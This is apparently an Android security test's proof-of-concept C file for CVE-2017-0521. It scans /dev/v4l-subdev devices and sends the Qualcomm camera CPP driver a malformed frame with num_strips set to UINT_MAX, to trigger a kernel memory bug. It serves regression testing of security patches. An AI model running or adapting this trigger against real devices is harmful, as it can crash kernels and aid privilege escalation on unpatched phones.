hostsidetests/security/securityPatch/CVE-2017-0521/poc.c

/**
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <sys/wait.h>
#include <fcntl.h>
#include <linux/ion.h>
#include <linux/types.h>
#include <linux/videodev2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define MAX_PLANES VIDEO_MAX_PLANES

#define PARTIAL_FRAME_STRIPE_COUNT 4

#define MAX_NUM_CPP_STRIPS 8
#define MSM_CPP_MAX_NUM_PLANES 3
#define MSM_CPP_MIN_FRAME_LENGTH 13
#define MSM_CPP_MAX_FRAME_LENGTH 4096
#define MSM_CPP_MAX_FW_NAME_LEN 32
#define MAX_FREQ_TBL 10

enum msm_cpp_frame_type {
  MSM_CPP_OFFLINE_FRAME,
  MSM_CPP_REALTIME_FRAME,
};

enum msm_vpe_frame_type {
  MSM_VPE_OFFLINE_FRAME,
  MSM_VPE_REALTIME_FRAME,
};

struct msm_cpp_buffer_info_t {
  int32_t fd;
  uint32_t index;
  uint32_t offset;
  uint8_t native_buff;
  uint8_t processed_divert;
  uint32_t identity;
};

struct msm_cpp_stream_buff_info_t {
  uint32_t identity;
  uint32_t num_buffs;
  struct msm_cpp_buffer_info_t *buffer_info;
};

enum msm_cpp_batch_mode_t {
  BATCH_MODE_NONE,
  BATCH_MODE_VIDEO,
  BATCH_MODE_PREVIEW
};

struct msm_cpp_batch_info_t {
  enum msm_cpp_batch_mode_t batch_mode;
  uint32_t batch_size;
  uint32_t intra_plane_offset[MAX_PLANES];
  uint32_t pick_preview_idx;
  uint32_t cont_idx;
};

struct msm_cpp_frame_info_t {
  int32_t frame_id;
  struct timeval timestamp;
  uint32_t inst_id;
  uint32_t identity;
  uint32_t client_id;
  enum msm_cpp_frame_type frame_type;
  uint32_t num_strips;
  uint32_t msg_len;
  uint32_t *cpp_cmd_msg;
  int src_fd;
  int dst_fd;
  struct timeval in_time, out_time;
  void __user *cookie;
  int32_t *status;
  int32_t duplicate_output;
  uint32_t duplicate_identity;
  uint32_t feature_mask;
  uint8_t we_disable;
  struct msm_cpp_buffer_info_t input_buffer_info;
  struct msm_cpp_buffer_info_t output_buffer_info[8];
  struct msm_cpp_buffer_info_t duplicate_buffer_info;
  struct msm_cpp_buffer_info_t tnr_scratch_buffer_info[2];
  uint32_t reserved;
  uint8_t partial_frame_indicator;
  uint8_t first_payload;
  uint8_t last_payload;
  uint32_t first_stripe_index;
  uint32_t last_stripe_index;
  uint32_t stripe_info_offset;
  uint32_t stripe_info;
  struct msm_cpp_batch_info_t batch_info;
};

struct msm_cpp_pop_stream_info_t {
  int32_t frame_id;
  uint32_t identity;
};

struct cpp_hw_info {
  uint32_t cpp_hw_version;
  uint32_t cpp_hw_caps;
  unsigned long freq_tbl[MAX_FREQ_TBL];
  uint32_t freq_tbl_count;
};

struct msm_vpe_frame_strip_info {
  uint32_t src_w;
  uint32_t src_h;
  uint32_t dst_w;
  uint32_t dst_h;
  uint32_t src_x;
  uint32_t src_y;
  uint32_t phase_step_x;
  uint32_t phase_step_y;
  uint32_t phase_init_x;
  uint32_t phase_init_y;
};

struct msm_vpe_buffer_info_t {
  int32_t fd;
  uint32_t index;
  uint32_t offset;
  uint8_t native_buff;
  uint8_t processed_divert;
};

struct msm_vpe_stream_buff_info_t {
  uint32_t identity;
  uint32_t num_buffs;
  struct msm_vpe_buffer_info_t *buffer_info;
};

struct msm_vpe_frame_info_t {
  int32_t frame_id;
  struct timeval timestamp;
  uint32_t inst_id;
  uint32_t identity;
  uint32_t client_id;
  enum msm_vpe_frame_type frame_type;
  struct msm_vpe_frame_strip_info strip_info;
  unsigned long src_fd;
  unsigned long dst_fd;
  struct ion_handle *src_ion_handle;
  struct ion_handle *dest_ion_handle;
  unsigned long src_phyaddr;
  unsigned long dest_phyaddr;
  unsigned long src_chroma_plane_offset;
  unsigned long dest_chroma_plane_offset;
  struct timeval in_time, out_time;
  void *cookie;

  struct msm_vpe_buffer_info_t input_buffer_info;
  struct msm_vpe_buffer_info_t output_buffer_info;
};

enum msm_camera_buf_mngr_buf_type {
  MSM_CAMERA_BUF_MNGR_BUF_PLANAR,
  MSM_CAMERA_BUF_MNGR_BUF_USER,
  MSM_CAMERA_BUF_MNGR_BUF_INVALID,
};

#define MSM_CAMERA_MAX_USER_BUFF_CNT 16
struct msm_camera_user_buf_cont_t {
  unsigned int buf_cnt;
  unsigned int buf_idx[MSM_CAMERA_MAX_USER_BUFF_CNT];
};

struct msm_buf_mngr_info {
  uint32_t session_id;
  uint32_t stream_id;
  uint32_t frame_id;
  struct timeval timestamp;
  uint32_t index;
  uint32_t reserved;
  enum msm_camera_buf_mngr_buf_type type;
  struct msm_camera_user_buf_cont_t user_buf;
};

struct msm_pproc_queue_buf_info {
  struct msm_buf_mngr_info buff_mgr_info;
  uint8_t is_buf_dirty;
};

struct msm_cpp_clock_settings_t {
  unsigned long clock_rate;
  uint64_t avg;
  uint64_t inst;
};

#define VIDIOC_MSM_CPP_CFG \
  _IOWR('V', BASE_VIDIOC_PRIVATE, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_GET_EVENTPAYLOAD \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 1, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_GET_INST_INFO \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 2, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_LOAD_FIRMWARE \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 3, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_GET_HW_INFO \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 4, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_FLUSH_QUEUE \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 5, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_DEQUEUE_STREAM_BUFF_INFO \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 7, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_VPE_CFG \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 8, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_VPE_TRANSACTION_SETUP \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 9, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_VPE_GET_EVENTPAYLOAD \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 10, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_VPE_GET_INST_INFO \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 11, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_VPE_ENQUEUE_STREAM_BUFF_INFO \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 12, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_VPE_DEQUEUE_STREAM_BUFF_INFO \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 13, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_QUEUE_BUF \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 14, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_APPEND_STREAM_BUFF_INFO \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 15, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_SET_CLOCK \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 16, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_POP_STREAM_BUFFER \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 17, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_IOMMU_ATTACH \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 18, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_IOMMU_DETACH \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 19, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_DELETE_STREAM_BUFF \
  _IOWR('V', BASE_VIDIOC_PRIVATE + 20, struct msm_camera_v4l2_ioctl_t)

#define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */

#define V4L2_EVENT_CPP_FRAME_DONE (V4L2_EVENT_PRIVATE_START + 0)
#define V4L2_EVENT_VPE_FRAME_DONE (V4L2_EVENT_PRIVATE_START + 1)

struct msm_camera_v4l2_ioctl_t {
  uint32_t id;
  size_t len;
  int32_t trans_code;
  void __user *ioctl_ptr;
};

#define MSM_CPP_MSG_ID_TRAILER 0xABCDEFAA

int ion_open(void);
int ion_alloc(int fd, size_t len, size_t align, unsigned int heap_mask,
              unsigned int flags, ion_user_handle_t *handle);

int ion_open() {
  int fd = open("/dev/ion", O_RDONLY);
  return fd;
}

static int ion_ioctl(int fd, int req, void *arg) {
  int ret = ioctl(fd, req, arg);
  return ret;
}

int ion_alloc(int fd, size_t len, size_t align, unsigned int heap_mask,
              unsigned int flags, ion_user_handle_t *handle) {
  int ret;
  struct ion_allocation_data data = {
      .len = len,
      .align = align,
      .heap_id_mask = heap_mask,
      .flags = flags,
  };
  if (handle == NULL) return -1;

  ret = ion_ioctl(fd, ION_IOC_ALLOC, &data);
  if (ret < 0) return ret;

  *handle = data.handle;

  return ret;
}

static void ion_get_fd(int fd, ion_user_handle_t *handle, int *buf_fd) {
  union {
    struct ion_fd_data fd;
    struct ion_allocation_data allocation;
    struct ion_handle_data handle;
    struct ion_custom_data custom;
  } data;
  memset(&data, 0, sizeof(data));
  data.handle.handle = *handle;
  int ret = ioctl(fd, ION_IOC_SHARE, &data);
  *buf_fd = data.fd.fd;
}

int main(int argc, char **argv) {
  int fd;
  int ion_fd;
  int buf_fd = -1;
  const size_t frame_size = 446;
  ion_user_handle_t ion_handle;
  uint32_t buf[frame_size];
  struct msm_camera_v4l2_ioctl_t request = {0, 0, 0, 0};
  struct msm_cpp_frame_info_t frame_info;
  struct msm_cpp_buffer_info_t buff_info;
  struct msm_cpp_stream_buff_info_t stream_buff_info;

  memset(&buf, 0x00, sizeof(buf));
  memset(&frame_info, 0x01, sizeof(frame_info));
  memset(&buff_info, 0x00, sizeof(buff_info));
  memset(&stream_buff_info, 0x00, sizeof(stream_buff_info));

  ion_fd = ion_open();

  ion_alloc(ion_fd, 0x1000, 0, 0xfffffff,
            ION_FLAG_CACHED | ION_FLAG_CACHED_NEEDS_SYNC, &ion_handle);

  ion_get_fd(ion_fd, &ion_handle, &buf_fd);

  stream_buff_info.num_buffs = 1;
  stream_buff_info.identity = 0x27BC86AA;
  stream_buff_info.buffer_info = &buff_info;
  frame_info.identity = stream_buff_info.identity;
  buff_info.fd = buf_fd;
  buff_info.identity = 0x27BC86AA;
  buff_info.index = 0;
  buff_info.native_buff = 1;
  buf[frame_size - 1] = MSM_CPP_MSG_ID_TRAILER;
  frame_info.msg_len = frame_size;
  frame_info.cpp_cmd_msg = buf;
  frame_info.num_strips = UINT_MAX;
  frame_info.we_disable = 1;
  frame_info.duplicate_output = 0;
  frame_info.feature_mask = 0;
  frame_info.input_buffer_info = buff_info;

  char subdev[32] = {0};
  for (int i = 0; i < 32; i++) {
    snprintf(subdev, sizeof(subdev), "/dev/v4l-subdev%d", i);
    fd = open(subdev, O_RDWR);
    if (fd < 0) continue;

    request.len = sizeof(stream_buff_info);
    request.ioctl_ptr = &stream_buff_info;
    ioctl(fd, VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO, &request);

    ioctl(fd, VIDIOC_MSM_CPP_IOMMU_ATTACH, &request);

    request.len = sizeof(frame_info);
    request.ioctl_ptr = &frame_info;
    ioctl(fd, VIDIOC_MSM_CPP_CFG, &request);
    close(fd);
  }
}